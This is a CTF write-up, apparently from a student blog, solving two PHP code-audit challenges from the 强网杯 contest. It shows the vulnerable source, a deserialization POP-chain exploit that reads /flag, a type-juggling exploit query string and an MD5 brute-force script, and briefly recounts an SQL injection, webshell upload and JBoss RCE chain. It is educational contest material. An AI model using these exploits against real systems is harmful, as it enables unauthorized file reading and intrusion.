学院实验室的小伙伴想参加强网杯,我就顺带着报了个名,之前学了一点代码审计相关的知识,做了两道代码审计题目。
[强网先锋]赌徒
源码:
<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);
class Start
{
public $name='guest';
public $flag='syst3m("cat 127.0.0.1/etc/hint");';
public function __construct(){
echo "I think you need /etc/hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
Room 里可以读取文件并输出,但是需要以调用函数的方式调用这个对象。正好里面的 __get() 方法当调用对象中不存在的属性或者私有的属性的时候就能触发调用他自己。
再看 Info 对象里的 __toString 就可以调用一个 Room 里不存在的对象 ffiillee['ffiilleennaammee']。
为了实现输出 Info,看到 Start 里反序列化的时候会调用 _sayhello() 方法。
于是让 Start->name 指向 Info,Info->file['filename'] 指向 Room,然后以调用函数的方式调用 Room,Room->filename = '/flag' 就能输出 flag 了。
Exp
class Start
{
public $name;
}
class Info{}
class Room
{
public $filename='/flagxxxxxx';
}
$a = new Start();
$b = new Info();
$c = new Room();
$a->name = $b;
$b->file['filename'] = $c;
$c->a = $c;
echo urlencode(serialize($a));
优秀学弟的Exp,感觉比我的优雅😂
$a=new Start();
$a->name=new Info();
$a->name->file['filename']=new Room();
$a->name->file['filename']->a=new Room();
$a->name->file['filename']->a->filename='php://filter/read=convert.base64-encode/resource=/flag';
echo(serialize($a));
[强网先锋]寻宝
源代码
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
function filter($string){
$filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
$filter_phrase= '/'.implode('|',$filter_word).'/';
return preg_replace($filter_phrase,'',$string);
}
if($ppp){
unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';
extract($_POST);
$num1 = filter($ppp['number1']);
$num2 = filter($ppp['number2']);
$num3 = filter($ppp['number3']);
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
if(isset($num1) && is_numeric($num1)){
die("非数字");
}
else{
if($num1 > 1024){
echo "第一层";
if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
echo "第二层";
if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
echo "第三层";
if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
echo "第四层";
if(!isset($num5)||(strlen($num5)==0)) die("no");
$b=json_decode(@$num5);
if($y = $b === NULL){
if($y === true){
echo "第五层";
include 'KeY1lhv.php';
echo $KEY1;
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no");
}
}else{
die("no111");
}
}
Exp:
flag.php?ppp[number1]=10255www&ppp[number2]=99e9&ppp[number4]=0000asa&ppp[number5]=null&ppp[number3]=lET1TUtER7xa2tthOmR6
第一个弱类型比较不多说,第二个科学计数法,第三个爆破脚本在下面加上,第四个同样是弱类型,第五个===优先于赋值。
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds
stop_event.set()
if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
最后还有一道Easy WEB,当时没有做出来,当时是从前台sql注入获取到了管理员账号密码,然后扫目录发现上传点,通过无字母的PHP马子绕过过滤上传Get Shell,web目录下有一个flag文件但是没有权限读取,当时到这里就不知道怎么办了,后面比赛结束看了其他人的write up才知道是通过扫描端口,用jboss完成第二次的RCE提权去读取flag,当时也确实探测到了jboss端口的开放,奈何之前没有学习过jboss,就差一点点/(ㄒoㄒ)/~~。